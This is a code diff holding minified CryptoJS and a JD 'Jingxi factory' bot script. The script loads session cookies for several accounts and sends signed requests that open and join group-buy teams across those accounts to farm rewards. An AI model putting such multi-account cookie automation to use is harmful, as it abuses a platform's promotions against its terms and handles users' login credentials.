4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜工厂开团'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openTuanCK = $.isNode() ? (process.env.OPEN_DREAMFACTORY_TUAN ? process.env.OPEN_DREAMFACTORY_TUAN : '1'):'1'; +const helpFlag = false;//是否参考作者团 +let tuanActiveId = ``; +let cookiesArr = [], cookie = '', message = ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + let openTuanCKList = openTuanCK.split(','); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await getTuanActiveId(); + if(!tuanActiveId){console.log(`未能获取到有效的团活动ID`);return ;} + //let nowTime = getCurrDate(); + // let jdFactoryTime = $.getdata('jdFactoryTime'); + // if (!jdFactoryTime || nowTime !== jdFactoryTime) {$.setdata(nowTime, 'jdFactoryTime');$.setdata({}, 'jdFactoryHelpList');} + // $.jdFactoryHelpList = $.getdata('jdFactoryHelpList'); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let runFlag = true; + for (let i = 0; i < cookiesArr.length; i++) { + if(!openTuanCKList.includes((i+1).toString())){ + continue; + } + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) {await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);} + runFlag = false; + continue; + } + await jdDreamFactoryTuan(); + } + } + if(!runFlag){ + console.log(`需要开团的CK已过期,请更新CK后重新执行脚本`); + return; + } + console.log(`\n===============开始账号内参团===================`); + console.log('获取到的内部团ID'+`${$.tuanIds}\n`); + //打乱CK,再进行参团 + if (!Array.prototype.derangedArray) {Array.prototype.derangedArray = function() {for(var j, x, i = this.length; i; j = parseInt(Math.random() * i), x = this[--i], this[i] = this[j], this[j] = x);return this;};} + cookiesArr.derangedArray(); + for (let i = 0; i < cookiesArr.length && $.tuanIds.length>0; i++) { + if (cookiesArr[i]) { + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // if($.jdFactoryHelpList[$.UserName]){ + // console.log(`${$.UserName},参团次数已用完`) + // continue; + // } + $.isLogin = true; + $.canHelp = true;//能否参团 + await TotalBean(); + if (!$.isLogin) {continue;} + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + for (let j = 0; j < $.tuanIds.length; j++) { + let item = $.tuanIds[j]; + $.tuanMax = false; + if (!$.canHelp) break; + console.log(`账号${$.UserName} 去参加团 ${item}`); + await JoinTuan(item); + await $.wait(2000); + if($.tuanMax){$.tuanIds.shift();j--;} + } + } + } + } + let res = []; + if(helpFlag){ + res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/dreamFactory_tuan.json'); + if(!res){ + res = []; + } + if(res.length === 0){ + return ; + } + console.log(`\n===============开始助力作者团===================`); + let thisTuanID = getRandomArrayElements(res, 1)[0]; + $.tuanMax = false; + for (let i = 0; i < cookiesArr.length && !$.tuanMax; i++) { + if(openTuanCKList.includes((i+1).toString())){ + $.index = i + 1; + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`账号${$.UserName} 去参加作者团: ${thisTuanID}`); + await JoinTuan(thisTuanID); + await $.wait(2000); + } + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function jdDreamFactoryTuan() {try {await userInfo();await tuanActivity();} catch (e) {$.logErr(e);}} + +async function getTuanActiveId() { + const method = `GET`; + let headers = {}; + let myRequest = {url: 'https://st.jingxi.com/pingou/dream_factory/index.html', method: method, headers: headers}; + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/); + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if (new Date(item.end).getTime() > Date.now()) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n获取团活动ID成功: ${link.match(/activeId=(.*),/)[1]}\n有效时段:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else { + tuanActiveId = ''; + } + } + } + } + } catch (e) { + console.log(data);$.logErr(e, resp); + } finally {resolve();} + }) + }) +} + + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + "url": `${url}?${new Date()}`, + "timeout": 10000, + "headers": { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + }; + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data || []); + } + }); + await $.wait(10000); + resolve(); + }) +} +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const factory = data.factoryList[0]; + $.factoryId = factory.factoryId;//工厂ID + $.encryptPin = data.user.encryptPin; + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + }else{ + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } + } +} +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`开团成功tuanId为:${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + //$.jdFactoryHelpList[$.UserName] = $.UserName; + //$.setdata($.jdFactoryHelpList, 'jdFactoryHelpList'); + $.canHelp = false; + } else if(data['ret'] === 10209){ + $.tuanMax = true; + console.log(`参团失败:${JSON.stringify(data)}\n`); + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = {"url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,"headers": {"Accept": "application/json,text/plain, */*","Content-Type": "application/x-www-form-urlencoded","Accept-Encoding": "gzip, deflate, br","Accept-Language": "zh-cn","Connection": "keep-alive","Cookie": cookie,"Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2","User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1"}}; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) {data = JSON.parse(data);if (data['retcode'] === 13) { $.isLogin = false;}if (data['retcode'] === 0) {$.nickName = (data['base'] && data['base'].nickname) || $.UserName;} else {$.nickName = $.UserName;}} else {console.log(`京东服务器返回空数据`)} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) {var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index;while (i-- > min) {index = Math.floor((i + 1) * Math.random());temp = shuffled[index];shuffled[index] = shuffled[i];shuffled[i] = temp;}return shuffled.slice(min);} +function getCurrDate() {let date = new Date();let sep = "-";let year = date.getFullYear();let month = date.getMonth() + 1;let day = date.getDate();if (month <= 9) {month = "0" + month;}if (day <= 9) {day = "0" + day;}return year + sep + month + sep + day;} +function safeGet(data) {try {if (typeof JSON.parse(data) == "object") {return true;}} catch (e) 